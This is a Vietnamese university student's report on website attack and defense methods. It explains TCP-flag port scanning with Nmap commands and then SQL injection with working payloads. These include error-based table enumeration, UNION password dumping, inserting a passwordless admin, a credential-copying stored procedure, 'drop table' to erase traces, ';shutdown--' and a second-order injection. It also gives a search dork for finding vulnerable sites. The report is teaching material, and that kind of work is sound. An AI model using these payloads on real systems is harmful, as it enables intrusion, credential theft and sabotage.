Tải bản đầy đủ (.docx) (70 trang)

Các phương pháp tấn công và phòng thủ web site

Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (1.45 MB, 70 trang )

Các phương pháp tấn công và phòng thủ website

MỤC LỤC

Đinh Khánh Hưng – Toán Tin K57


Các phương pháp tấn công và phòng thủ website

Lời mở đầu
Cùng với sự phát triển của công nghệ thông tin, công nghệ mạng máy
tính và sự phát triển của mạng internet ngày càng phát triển đa dạng và phong
phú. Các dịch vũ trên mạng đã thâm nhập vào hầu hết các lĩnh vực trong đời
sống xã hội. Các thông tin trên internet cũng đa dạng về nội dung và hình
thức, trong đó có rất nhiều thông tin cần được bảo mật cao hơn bởi tính kinh
tế, tính chính xác và tính tin cậy của nó.
Bên cạnh đó, các hình thức phá hoại mạng cũng trở nên tinh vi và phức
tạp hơn. Do đó, đối với mỗi hệ thống, nhiệm vụ bảo mật được đặt ra cho
người quản trị mạng là hết sức quan trọng và cần thiết. Xuất phát từ những
thực tế đó, chúng ta sẽ tìm hiểu về các cách tấn công và phòng thủ phổ biết
nhất hiện nay và các cách phòng chống những loại tấn công này.
Chính vì vậy, thông qua việc nghiên cứu một số phương pháp tấn công
và cách bảo mật các loại tấn công, tôi mong muốn đóng gớp một phần nhỏ
vào việc nghiên cứu và tìm hiểu các vấn đề an ninh mạng giúp cho việc học
tập và nghiên cứu.
Tôi xin chân thành cảm ơn toàn thể ban lãnh đạo viện Toán Tin Ứng
Dụng Trường Đại Học Bách Khoa Hà Nội đã tạo điều kiện cho tôi thực hiện
các đề tài như thế này và đặc biệt gửi lời cảm ơn đến TS. Vũ Thành Nam –
Viện Toán Tin Ứng Dụng - là giảng viên trực tiếp hướng dẫn Đồ Án 2 và giúp
tôi hoàn thành đề tài này. Do thời gian hạn chế và kiến thức còn hạn chế nên
vẫn còn rất nhiều thiếu sót. Rất mong bạn đọc đóng góp những ý kiến quí giá.



1. Lý do chọn đề tài:

Trong những năm gần đây, Việt Nam ngày càng phát triển và nhất là
về công nghệ thông tin. Đặc biệt là về ứng dụng web, hầu như mọi
Đinh Khánh Hưng – Toán Tin K57

Page 2


Các phương pháp tấn công và phòng thủ website

người ai ai cũng từng nghe và từng làm việc trên ứng dụng web,
Website trở nên phổ biến và trở thành một phần quan trọng của mọi
người và nhất là các doanh nghiệp, công ty. Bên cạnh đó lý do an
toàn bảo mạt cho ứng dụng web luôn là vẫn dề nan giải của mọi
người. VÌ vậy chúng ta sẽ đi tìm hiểu các cách thức tấn công và
phòng thủ phổ biến nhất.
2. Mục tiêu

Giúp chúng ta có thể hiểu hơn về các ứng dụng website, các mỗi đe
dọa về vấn đề an toàn thông tin khi làm việc trên ứng dụng web
hàng ngày, hiểu rõ hơn về các kỹ thuật tấn công và bảo mật web
3. Phạm vi

Tìm hiểu các kỹ thuật tấn công phổ biến nhất hiện này: SQL
Injectio, DOS và DDOS, Trojan... Cách bảo mật, phòng thủ các loại
tấn công phổ biến trên một cách tổng quan nhất

Đinh Khánh Hưng – Toán Tin K57


Page 3


Các phương pháp tấn công và phòng thủ website

A. Sử dụng phần mềm Nmap để Scan Port
I. Nguyên tắc truyền thông tin TCP/IP
1. Cấu tạo gói tin TCP

Trong bài viết này chỉ chú trọng tới các thiết lập Flag trong gói tin TCP
nhằm mục đích sử dụng để Scan Port:
- Thông số SYN để yêu cầu kết nối giữa hai máy tính
- Thông số ACK để trả lời kết nối giữa hai máy có thể bắt đầu được
thực hiện
- Thông số FIN để kết thúc quá trình kết nối giữa hai máy
- Thông số RST từ Server để nói cho Client biết rằng giao tiếp này bị
cấm (không thể sử dụng)
- Thông số PSH sử dụng kết hợp với thông số URG
- Thông số URG sử dụng để thiết lập độ ưu tiên cho gói tin này.
Thật ra toàn bộ các thông số này trong gói tin nó chỉ thể hiện là 1 hoặc
0 nếu là 0 thì gói tin TCP không thiết lập thông số này, nếu là 1 thì
thông số nào đó được thực hiện nó sẽ lần lượt trong 8 bits trong phần
Flag.

Đinh Khánh Hưng – Toán Tin K57

Page 4



Các phương pháp tấn công và phòng thủ website

2. Khi Client muốn thực hiện một kết nối TCP với Server đầu tiên:

+ Bước 1: Client bắn đến Server một gói tin SYN
+ Bước 2: Server trả lời tới Client một gói tin SYN/ACK
+ Bước 3: Khi Client nhận được gói tin SYN/ACK sẽ gửi lại server một
gói ACK – và quá trình trao đổi thông tin giữa hai máy bắt đầu.
3. Khi Client muốn kết thúc một phiên làm việc với Server

+ Bước 1: Client gửi đến Server một gói tin FIN ACK
+ Bước 2: Server gửi lại cho Client một gói tin ACK
+ Bước 3: Server lại gửi cho Client một gói FIN ACK
+ Bước 4: Client gửi lại cho Server gói ACK và quá trình ngắt kết nối
giữa Server và Client được thực hiện.
II. Nguyên tắc Scan Port trên một hệ thống.
1. TCP Scan
Trên gói TCP/UDP có 16 bit dành cho Port Number điều đó có nghĩa nó có từ
1 – 65535 port. Không một hacker nào lại scan toàn bộ các port trên hệ thống,
chúng chỉ scan những port hay sử dụng nhất thường chỉ sử dụng scan từ port
1 tới port 1024 mà thôi.

Đinh Khánh Hưng – Toán Tin K57

Page 5


Các phương pháp tấn công và phòng thủ website

Phần trên của bài viết đã trình bày nguyên tắc tạo kết nối và ngắt kết nối giữa

hai máy tính trên mạng. Dựa vào các nguyên tắc truyền thông tin của TCP có
thể Scan Port nào mở trên hệ thống bằng những phương thức sau đây:
- SYN Scan: Khi Client bắn gói SYN với một thông số Port nhất định
tới Server nếu server gửi về gói SYN/ACK thì Client biết Port đó trên Server
được mở. Nếu Server gửi về cho Client gói RST/SYN tôi biết port đó trên
Server đóng.
- FIN Scan: Khi Client chưa có kết nối tới Server nhưng vẫn tạo ra gói
FIN với số port nhất định gửi tới Server cần Scan. Nếu Server gửi về gói
ACK thì Client biết Server mở port đó, nếu Server gửi về gói RST thì Client
biết Server đóng port đó.
- NULL Scan Sure: Client sẽ gửi tới Server những gói TCP với số port
cần Scan mà không chứa thông số Flag nào, nếu Server gửi lại gói RST thì
biết port đó trên Server bị đóng.
- XMAS Scan Sorry: Client sẽ gửi những gói TCP với số Port nhất định
cần Scan chứa nhiều thông số Flag như: FIN, URG, PSH. Nếu Server trả về
gói RST biết port đó trên Server bị đóng.
- TCP Connect: Phương thức này rất thực tế nó gửi đến Server những
gói tin yêu cầu kết nối thực tế tới các port cụ thể trên server. Nếu server trả về
gói SYN/ACK thì Client biết port đó mở, nếu Server gửi về gói RST/ACK
Client biết port đó trên Server bị đóng.
- ACK Scan: dạng Scan này nhằm mục đích tìm những Access Controll
List trên Server. Client cố gắng kết nối tới Server bằng gói ICMP nếu nhận
được gói tin là Host Unreachable thì client sẽ hiểu port đó trên server đã bị
lọc.
Có vài dạng Scan cho các dịch vụ điển hình dễ bị tấn công như:

Đinh Khánh Hưng – Toán Tin K57

Page 6



Các phương pháp tấn công và phòng thủ website

- RPC Scan: Cố gắng kiểm tra xem hệ thống có mở port cho dịch vụ
RPC không.
- Windows Scan tương tự như ACK Scan, nhưng nó có thể chỉ thực
hiện trên một số port nhất định.
- FTP Scan: Có thể sử dụng để xem dịch vụ FTP có được sử dụng trên
Server hay không
- IDLE cho phép kiểm tra tình trạng của máy chủ.
2. UDP Scan.
Nếu như gói tin truyền bằng TCP để đảm bảo sự toàn vẹn của gói tin sẽ luôn
được truyền tới đích. Gói tin truyền bằng UDP sẽ đáp ứng nhu cầu truyền tải
dữ liệu nhanh với các gói tin nhỏ. Với quá trình thực hiện truyền tin bằng TCP
kẻ tấn công dễ dàng Scan được hệ thống đang mở những port nào dựa trên
các thông số Flag trên gói TCP
Cấu tạo gói UDP

Như ta thấy gói UDP không chứa các thông số Flag, cho nên không thể sử
dụng các phương thức Scan port của TCP sử dụng cho UDP được. Thật không
may hầu hết hệ thống đều cho phép gói ICMP.
Nếu một port bị đóng, khi Server nhận được gói ICMP từ client nó sẽ cố gắng
gửi một gói ICMP type 3 code 3 port với nội dung là "unreachable" về Client.

Đinh Khánh Hưng – Toán Tin K57

Page 7


Các phương pháp tấn công và phòng thủ website


Khi thực hiện UDP Scan bạn hãy chuẩn bị tinh thần nhận được các kết quả
không có độ tin cây cao.
III. Scan Port với Nmap.
Nmap là một tool scan port rất mạnh và đã nổi danh từ lâu được giới hacker
tin dùng. Nó hỗ trợ toàn bộ các phương thức scan port, ngoài ra nó còn hỗ trợ
các phương thức scan hostname, service chạy trên hệ thống đó….
Nmap hiện giờ có cả giao diện đồ hoạ và giao diện command line cho người
dùng, chạy trên cả môi trường .NIX và Windows.
Phần mềm Nmap miễn phí download tại địa chỉ:
/>Dưới đây là cách sử dụng Nmap để scan

Giao diện sau khi cài đặt:

Đinh Khánh Hưng – Toán Tin K57

Page 8


Các phương pháp tấn công và phòng thủ website

1. Số Scan Type cơ bản
*-sT TCP connect Scan : Đây là kiểu quét đơn giản nhất của quá trình quét
giao thức TCP. Kết nối gọi hệ thống đó, hệ điều hành của bạn cung cấp được
sử dụng để open một kết nối tới một số port trên hệ thống.nếu port đang ở
trạng thái lắng nghe, thì kết nối sẽ thành công, và ngược lại kết nối sẽ thất bại.
* -sS TCP SYN Scan : đây là kỹ thuật quét được giới thiệu tới như là kỹ thuật
quét “half open”. Được dùng trong trường hợp bạn không thể mở kết nối TCP
đầy đủ. Bạn gửi 1 SYN packet, trong khi nếu bạn muốn mở 1 kết nối thực tế
và bạn đang đợi 1 sự đáp lại. Một SYH|ACK chỉ bảo port đang lắng nghe.

Một RST biểu thị ở trạng thái không lắng nghe. Một RST biểu thị ở trạng thái
không lắng nghe. Nếu SYN|ACK nhận được 1 RST được gửi xuống để kết
nối. Bắt lỗi trong kỹ thuật quét này là bạn cần phải có nhiều đặc quyền xây
dựng những SYN packet
*-sF -sX –sN Stealth FIN, Xmas Tree, hoặc Null scan modes: được dùng khi
không đủ các đặc quyền để sử dụng kỹ thuật SYN scan. Một vài firewall và
bỏ lọc packet giám sát các SYN để hạn chế các port, và những chương trình
như SYNlogger và Countey sẵn sàng phát hiện ra các hành động Scan của
bạn. Lợi thế của kiểu Scan này là có thể Scan xuyên qua các Firewall và bộ
lọc Packet mà ít bị trở ngại, ngăn cản. Ý tưởng đóng các port và yêu cầu trả
lời tới packet thăm dò của bản với 1 RST
*-sP ping scanning : Kỹ thuật này được dùng trong trường hợp bạn chỉ muốn
biết có bao nhiêu host hiện đang online trên 1 network nào đó. Nmap có thể
thực hiện điều này bằng cách send nhưng fois ICMP yêu cầu đổi lại đến các
địa chỉ IP trên mạng. Tuy nhiên cũng có 1 số host có thể chặn lại các ICMP
packet phản hồi. Như vậy Nmap có thể send packet TCP đến port 80(mặc
định,có thể đổi port)

Đinh Khánh Hưng – Toán Tin K57

Page 9


Các phương pháp tấn công và phòng thủ website

*-sU UDP Scan: Kỹ thuật này được sử dụng để xác định xem port UDP nào
đang open trên host. Nmap sẽ send UDP pạcket có dung lượng 0 byte đến mỗi
port trên mục tiêu. Nếu chúng ta nhận được thông báo không thể kết nối đến
Port ICMP, sau đó port sẽ bị đóng. Trường hợp khác, giả thiết nó mở port,
một vài người thường nghĩ rằng kỹ thuật UDP Scan không hiệu quả

*-sA ACK Scan: Kỹ thuật này được sử dụng để thu thập các thông tin về hệ
thống từ bên ngoài Firewall. Đặc biệt nó có thể xác định xem các firewall có
phải là 1 Firewall theo đúng nghĩa hay chỉ là một bộ lọc packet SYN từ bên
ngoài. Kỹ thuật này có thể send những ACK packet đến những port được chỉ
rõ. Nếu một RST trở lại thì điều đó có nghĩa là các port đó không có chức
năng lọc SYN packet và ngược lại.
*sW windown Scan: Kỹ thuật tương tự như ACK Scan. Chỉ có điều bạn để
phát hiện được những port open với bộ lọc, cũng như không với bộ lọc được
chỉ định dùng như các hệ điều hành như: AIX, Amiga, BeOS, Cray, Tru64,
UNIX, DG.UX, OpenVMS, Digtal UNIX, FreeBSD, HP-UX, OS/2, IRX,
MacOs, NETBSD, OpenBSDmOpenStep
*-sRRPC Scan : Kỹ thuật này sẽ làm lấy tất cả các Port UDP/TCP đang Open
sau đó làm ngập chúng với chương trình SunPRC, vô hiệu hóa nhưng lệnh để
xác định nó có phải là Port PRC hay không.
1.1. Các dạng Scan nmap hỗ trợ.
Nmap –sT: trong đó chữ s – là Scan, còn chữ T là dạng TCP scan
Nmap –sU: đó là sử dụng UDP Scan
Nmap –sP: sử dụng Ping để scan
Nmap –sF: sử dụng FIN Scan
Nmap –sX: sử dụng phương thức XMAS Scan
Nmap –sN: sử dụng phương thức NULL Scan

Đinh Khánh Hưng – Toán Tin K57 Page 10


Các phương pháp tấn công và phòng thủ website

Nmap –sV: sử dụng để Scan tên các ứng dụng và version của nó
Nmap –SR /I RPC sử dụng để scan RPC
1.2. Các option cao cấp kết hợp với các dạng Scan trong Nmap.

*- O: sử dụng để biết hệ điều hành chạy trên máy chủ ví như ta dùng Nmap sử
dụng phương thức scan là XMAS Scan và đoán biết hệ điều hành của:
www.vnexperts.net ta dùng câu lệnh: nmap –sX –o www.vnexperts.net.
*- P: giải port sử dụng để scan
*- F: Chỉ những port trong danh sách scan của Nmap
*- V: Sử dụng Scan hai lần nhằm tăng độ tin cậy và hiệu quả của phương thức
scan nào ta sử dụng.
- P0: không sử dụng ping để Scan nhằm mục đích giảm thiểu các quá trình
quét ngăn chặn scan trên các trang web hay máy chủ.
Ví như muốn Scan trang web www.vnexperts.net bằng phương thức UDP
Scan số port ta sử dụng là từ 1 tới 1024 và sử dụng hai lần để nâng cao hiệu
quả, khi scan sẽ không ping tới trang này:
Nmap –sU –P ‘1-1024’ –V –P0 www.vnexperts.net
Ngoài ra nmap còn hỗ trợ tính năng scan ẩn nhằm tránh những quá trình quét
trên server như sử dụng:
-Ddecoy_host1, decoy2… để sử ẩn quá trình Scan.
-6: Scan IPv6
Ngoài ra nmap còn cho chúng ta những options để output kết quả ra nhiều
định dạng file khác nhau.
sau đây là 1 vài ví dụ cụ thể:
Mục đích là xem port nào đang open, từ đó chúng ta có thể biết được target
đang Run những Sever gì.Bạn có cấu hình,thêm bớt định nghĩa các Port ở file
Namp-services.để thực hiện công việc trên bạn gõ:

Đinh Khánh Hưng – Toán Tin K57 Page 11


Các phương pháp tấn công và phòng thủ website

#nmap -sT 192.168.1.1

Nếu bạn thích kín đáo bạn có thể dùng tùy chọn Scan SYN
#nmap -sT 192.168.1.1 –o info.text
Tùy chọn –o file name để lưu kết quả ra 1 file cho phép ta đọc lại sau
Hình ảnh thực hiện và kết quả:

1. Quét ping:

Mục đích tương tự như quét ICMP, mục đích của quét là sẽ hết phần lớp D
của 1 hệ thống mạng nào đó từ đó cho ta biết hiện trong phần lớp đó hiện
đang có bao nhiêu host đang online cũng như đang open 1 port nào đó do ta
đặt lệnh sau sẽ ping các host đang open port 80

Đinh Khánh Hưng – Toán Tin K57 Page 12


Các phương pháp tấn công và phòng thủ website

(Gõ lệnh sau vào ô command)
#nmap -sP -PT80 192.168.1.0/24
Hình ảnh sau khi quét(hiện tại chỉ có 1 máy của em conect)

2. Scan Indent

Mục đích: tương tự như quét port, nhưng quét Indent sẽ cho biết các service
này thuộc quền sở hữu ,quyền hạn của ai,.. thường được dùng trên các OS
Unix/BSD/Solaris/Linux/AIX/HP -UX,...
Lênh:
#nmap -sS -I 192.168.1.1

Đinh Khánh Hưng – Toán Tin K57 Page 13



Các phương pháp tấn công và phòng thủ website

Ảnh minh họa:

3. Scan OS and Banner

Mục đích: Cho phép ta xác định xem 192.168.1.1 hiện đang dùng hệ OS gì,
hoặc xác định thông tin về software or hardware của các thiết mạng. Ví dụ để
scan OS ta dùng lệnh:
#nmap -sS -O 192.168.1.1

Đinh Khánh Hưng – Toán Tin K57 Page 14


Các phương pháp tấn công và phòng thủ website

Hình ảnh minh họa:

IV. Kết luận.
Scan port là một trong những bước đầu tiên để tấn công vào một hệ thống, để
hiểu được các phương thức scan chúng ta có thể dùng nmap để thực hiện. Sau
đó cách chúng ta cấm Scan đó là sử dụng các thiết bị chuyên dụng như IPS,
IDS để detect và ngăn chặn tấn công
(nguồn bài viết: tham khảo: />Nmap = Network exploration tool and s ecurity scanner (công cụ thăm dò
mạng và quét
an ninh mạng)

Đinh Khánh Hưng – Toán Tin K57 Page 15



Các phương pháp tấn công và phòng thủ website

Nó Scan tất cả những gì ó thể Scan được trên Network. Một Scanner đa chức
năng và cung cấp luôn cả OS
B. Một số phương thức tấn công website tiêu biểu
I. SQL-Injection
1.Khái niệm:
SQL injection là một kĩthuật cho phép những kẻtấn công lợi dụng lỗhổng
trong việc kiểm tra dữliệu nhập trong các ứng dụng web và các thông báo lỗi
của hệquản trịcơsởdữliệu để"tiêm vào" (inject) và thi hành các câu lệnh SQL
bất hợp pháp (không được người phát triển ứng dụng lường trước). Hậu
quảcủa nó rất tai hại vì nó cho phép những kẻtấn công có thểthực hiện các
thao tác xóa, hiệu chỉnh, … do có toàn quyền trên cơsởdữliệu của ứng dụng,
thậm chí là server mà ứng dụng đó đang chạy. Lỗi này thường xảy ra trên các
ứng dụng web có dữ liệu được quản lí bằng các hệ quản trị cơ sở dữ liệu
như Microsoft SQL Server, MySQL, Oracle, DB2, Sysbase…
Kiến thức cần biết:
- dấu nháy đơn (‘): dấu này trong ngôn ngữ SQL dùng để “gói” chuỗi. Ta
thường thêm nó vào sau tham số kiểu số trên chuỗi truy vấn để kiểm tra có lỗi
hay không. Nguyên nhân là do không kiểm tra kiểu dữ liệu.
- dấu (–): các dấu này để đánh dấu chú thích, nghĩa là những kí tự đứng sau
một trong hai dấu này trên cùng một dòng sẽ được xem là chú thích được bỏ
qua khi thực hiện truy vấn.
- dấu ( ; ): dùng để kết thúc một truy vấn và tất nhiên sau nó là bắt đầu một
truy vấn khác. Đôi khi ta dùng union để nối hai câu truy vấn.
kiến thức database (CSDL) và ngôn ngữ thiết kế website (PHP, ASP).
MsAccess: thường dành cho các website tin tức quy mô nhỏ, sử dụng ngôn
ngữ ASP để thiết kế.

Đinh Khánh Hưng – Toán Tin K57 Page 16


Các phương pháp tấn công và phòng thủ website

MSSQL:dùng cho website có quy mô lớn, sử dụng ngôn ngữ ASP, ASPX
(ASP.Net) để thiết kế.
MySQL: tất cả các website có thể dùng, sử dụng ngôn ngữ PHP để thiết kế
(MySQL và PHP luôn đi kèm với nhau ).
Oracle:tương tự như MySQL Db2: dùng cho các hệ thông website ngân hàng
các hệ thống cần chế độ bảo mật rất cao!
* Để biết các website có bị dính lỗi SQL Injection hay không ta có thể sử
dụng công cụ tìm kiếm Google bằng việc search với câu lệnh:
inurl:php?id=n (n là số nguyên)
Đây là một ví dụ về một site bị dính lỗi này:

2.Các dạng tấn công bằng SQL Injection
Có 4 dạng bao gồm:
-

Vượt qua kiểm tra lúc đăng nhập(authorization bypass),
Sử dụng câu lệnh SELECT,
Sử dụng câu lệnh INSERT,

Đinh Khánh Hưng – Toán Tin K57 Page 17


Các phương pháp tấn công và phòng thủ website

-


Sử dụng các thủ tục Stored Proceduce

2.1. Vượt qua kiểm tra lúc đăng nhập(authorization bypass)
2.2. Tấn công dưa vào câu lệnh SELECT
Việc tấn công thường dựa trên những thông báo lỗi để lấy thông tin về bảng
cũng như những trường trong bảng. Để làm được điều này, cần phải hiểu
những thông báo lỗi và từ đó chỉnh sửa nội dung nhập cho phù hợp.
Direct Injection:
Những đối số được thêm vào trong câu lệnh mà không nằm giữa những dấu
nháy đơn hay ngoặc kép là trường hợp direct injection.
Ví du:
StrSQL="SELECT tkUsername FROM User WHERE tkUsername=" &
tName
Quote Injection:
Những trường hợp đối số được nhập vào đều được ứng dụng cho vào giữa
hai dấu nháy đơn hay ngoặc kép là trường hợp Quote Injection.
Ví dụ:
StrSQL=“SELECT tkUsername FROM User WHERE tkUsername=’”&
tName & “’”
Để vô hiệu hoá dấu nháy và thay đổi câu lệnh mà vẫn giữ được cú pháp
đúng, chuỗi mã chèn thêm vào phải có một dấu nháy đơn trước chuỗi kí tự
được chèn vào và ở cuối câu lệnh phải có một dấu nháy đơn, chẳng hạn như
sau:

Đinh Khánh Hưng – Toán Tin K57 Page 18


Các phương pháp tấn công và phòng thủ website


StrSQL=“SELECT tkUsername FROM User WHERE tkUsername=’’ and
‘’=’’” Nếu đã thực hiện nhưtrên mà thông báo lỗi có liên quan đến dấu “(“ thì
trong chuỗi chèn vào cần có “)”. Ví dụ: Giả sử câu lệnh
StrSQL=“SELECT tkUsername FROM User WHERE (tkUsername=’”&
tName & “’”)
Thì cú pháp hợp lệnh như sau:
StrSQL=“SELECT tkUsername FROM User WHERE (tkUsername=’’)or
‘’=’’”
Ngoài ra kí tự % thường được dùng trong những trường hợp tìm kiếm thông
tin.
Ví dụ:
StrSQL=“SELECT tkUsername FROM User WHERE tkUsername like ‘% “
& tName & “’”
2.3. Tấn công dưa vào câu lệnh UNION
Lệnh SELECT được dùng để lấy thông tin từ cơ sở dữ liệu. Thông thường vị
trí có thể được chèn thêm vào một mệnh đề SELECT là sau WHERE. Để trả
về nhiều dòng thông tin trong bảng, có thể thay đổi điều kiện trong mệnh
đề WHERE bằng cách chèn thêm UNION SELECT.
Ví dụ:
StrSQL=“SELECT tkUsername FROM User WHERE tkUsername like
‘% “ & tName & “’UNION
SELECT tkPassword from User”
Câu lệnh trên trả về một tập kết quả là sự kết hợp giữa tkUsername với
tkPassword trong bảng User.
Đinh Khánh Hưng – Toán Tin K57 Page 19


Các phương pháp tấn công và phòng thủ website

Nhờ vào lỗi cú pháp trả về sau khi chèn thêm câu lệnh UNION mà người tấn

công có thể biết kiểu của mỗi trường dữ liệu. Ví dụ tìm hiểu cấu trúc CSDL
dựa vào HAVING, GROUP BY, UNION
Nhắc lại câu truy vấn cần để đăng nhập:
SQLQuery= “SELECT tkUsername,tkPassword FROM User WHERE
tkUsername= ‘” & strUsername & “’ AND Password= ‘” & tkPassword &
“’”
Đầu tiên, để biết tên bảng và tên trường mà câu truy vấn sử dụng, sử
dụng câu điều kiện “having” như sau:
Giá trị nhập vào: Username: ’having 1=1—
Nhận được lỗi trả về:
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
'User.tkUsername' is invalid in the select list because it is not
contained in an aggregate function and there is no GROUP BY
clause.
Nhờvào lỗi phát sinh này mà biết được bảng sửdụng trong câu truy vấn là
User và trong bảng tồn tại một trường tên là tkUsername
Sau đó sửdụng GROUP BY:
Username: ‘group by User.tkUsername having 1=1—
Nhận được lỗi trả về:
[Microsoft][ODBC SQL Server Driver][SQL Server]
Column'User.tkPassword'is invalid in the select list because it is

Đinh Khánh Hưng – Toán Tin K57 Page 20


Các phương pháp tấn công và phòng thủ website

not contained in either an aggregate function or the GROUP BY
clause.
Như vậy tkPassword là một trường của bảng User và được sử dụng trong câu

truy vấn.
Tiếp tục dùng GROUP BY cho đến khi biết được tất cảcác trường trong bảng
User tham gia vào câu truy vấn. Khi không còn báo lỗi cú pháp GROUP BY
nữa thì chuyển qua công đoạn kiểm tra kiểu của từng trường trong bảng. Lúc
này UNION được sử dụng:
Username:’union select sum(tkUsername) from User
Lệnh SUM là lệnh tính tổng cho đối số bên trong dấu ngoặc. Đối số phải là
kiểu số. Nếu đối số không là kiểu số thì phát sinh lỗi như sau:
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or
average aggregate operation cannot take a varchar data typeas an
argument.
Nhưvậy với thông điệp lỗi như trên thì tkUsername phải là kiểu “varchar”.
Với phương pháp trên, dễ dàng xác định được kiểu của từng trường trong
bảng. Sau khi đã nhận đầy đủ trông tin trên thì hacker dễdàng tự thêm thông
tin vào bảng User, chẳng hạn:
Username: ’; insert into User(tkUsername,tkPassword) values
(‘admin’, ‘’)-Hacker trở thành người quản trị mạng mà không cần mật khẩu để chứng thực.
Ví dụ sau minh họa các bước giúp hacker đọc hết thông tin trong bảng User:

Đinh Khánh Hưng – Toán Tin K57 Page 21


Các phương pháp tấn công và phòng thủ website

Bước 1: Tạo một Stored procedure để chép vào tất cả thông tin của 2
trường tkUsername và tkPassword trong bảng User thành một chuỗi vào một
bảng mới là foo có một trường là ret bằng đoạn mã sau:
create proc test as
begin
declare @ret varchar(8000)

set @ret=':'
select @ret=@ret+' '+tkUsername+'/'+tkPassword fromUser
select @ret as ret into foo
end
Thực thi câu lệnh bằng cách nhập vào form.
Username:’;Create proc test as begin declare @ret varchar(8000) set
@ret=’:’
select@ret=@ret+''+tkUsername+'/'+tkPassword from User select
@ret as ret into foo
Bước 2: Gọi Stored Procedure đó
Sau khi đã tạo được Stored Srocedure như trên, thực hiện lời gọi hàm:
Username:’;exec test
Bước 3: Dùng UNION để xem nội dung bảng foo
Username:’;select ret,1 from foo union select 1,1 from foo
Lỗi phát sinh:

Đinh Khánh Hưng – Toán Tin K57 Page 22


Các phương pháp tấn công và phòng thủ website

Microsoft OLE DB Provider for ODBC Drivers error
'80040e07'[Microsoft][ODBC SQL Server Driver][SQL
Server]Syntax error converting the varchar
value':admin/passofAdmin nhimmap/passofnhimmap
minhthu/passofminhthu' to a column of data type int.
Qua một số công đoạn, hacker đã thu được nội dung của bảng User
gồm có tên
tkUsername và mật khẩu tkPassword.
Bước 4: Ngoài ra hacker còn có thể cẩn thận xoá bảng foo để xoá dấu vết:

Username: ‘; drop table foo—
Để biết thông tin về các bảng, cột trong cơ sở dữ liệu, có thể truy vấn bảng
đến bảng hệ thống INFORMATION_SCHEMA.TABLES.
2.4. Tấn công dựa vào câu lệnh INSERT
Từ khoá INSERT dùng để đưa thông tin vào cơ sở dữ liệu. Thông thường câu
lệnh INSERT
được dùng trong các trường hợp như: đăng kí người sử dụng, … Kĩ thuật “;”,
“--“ được dùng như đã từng dùng với câu lệnh SELECT, phải đảm bảo đúng
số lượng và kiểu giá trị được nhập vào nhằm tránh lỗi về cú pháp, chẳng hạn:
SQLString= “INSERT INTO User VALUES (‘” & strUsername &
“’, ‘” & strName& “’, ‘” &
strPassWord & “’,’”& strLimitSize & “’)”
2.5. Tấn công dùng thủ tục Stored Proceduce
Stored Procedure được sử dụng trong lập trình ứng dụng Web thường với
mục đích thực thi nhanh hơn, giảm sự phức tạp của ứng dụng, tránh sự tấn

Đinh Khánh Hưng – Toán Tin K57 Page 23


Các phương pháp tấn công và phòng thủ website

công trong kĩ thuật SQL Injection. Tuy nhiên hacker vẫn có thể lợi dụng
Stored Procedure để tấn công vào hệ thống.
Ví dụ: viết Stored Procedure “sp_login” gồm hai tham số là username và
password. Nếu nhập các tham số:
Username: user1
Password: ‘;shutdown—
Khi đó lệnh thực thi stored procedure được xây dựng trởthành:
exec sp_login ‘user1’,‘’;shutdown--’
Theo đó, lệnh shutdown thực hiện dừng SQL Server.

2.6. Tấn công dùng thủ tục Stored Proceduce
2.6.1. Chuỗi kí tự không có dấu nháy đơn:
Người lập trình có thể bảo vệ ứng dụng bằng cách loại bỏ tất cả dấu nháy,
thông thường loại bỏ dấu nháy bằng cách thay một dấu nháy thành 2 dấu
nháy. Ví dụ:
Function escape (input)
Input=replace(input, “’”, “’’”)
escape=input
end function
Có thể thấy nó ngăn chặn được tất cả những kiểu tấn công trên.
2.6.2. Tấn công hai lớp:
Mặc dù ứng dụng đã thay thếdấu nháy đơn nhưng vẫn còn khảnăng bị chèn
đoạn mã SQL . Ví dụ: Để đăng kí tài khoản, nhập username như sau:
Username: admin'-Đinh Khánh Hưng – Toán Tin K57 Page 24


Các phương pháp tấn công và phòng thủ website

Password: password
Ứng dụng sẽ thay thế dấu nháy, kết quả trong câu INSERT sẽ như sau:
INSERT into User VALUES(123, 'admin''--', 'password',0xffff)
(nhưng trong cơsởdữliệu sẽlưu là “admin’--“)
Giả sử ứng dụng cho phép người dùng thay đổi mật khẩu. Các đoạn mã trang
web được thiết kế đảm bảo rằng người sửdụng phải nhập đúng mật khẩu cũ
trước khi nhập mật khẩu mới. Đoạn mã như sau:
Username = escape( Request.form("username") );
oldpassword = escape( Request.form("oldpassword") );
newpassword = escape( Request.form("newpassword") );
var rso = Server.CreateObject("ADODB.Recordset");
var sql = "select * from users where username = '" + username + "'

and password = '" +
oldpassword + "'";
rso.open( sql, cn );
if (rso.EOF)
{…
Câu truy vấn thiết lập mật khẩu mới như sau:
sql = "update users set password = '" + newpassword + "'
where username= '" +
rso("username") + "'"

Đinh Khánh Hưng – Toán Tin K57 Page 25


×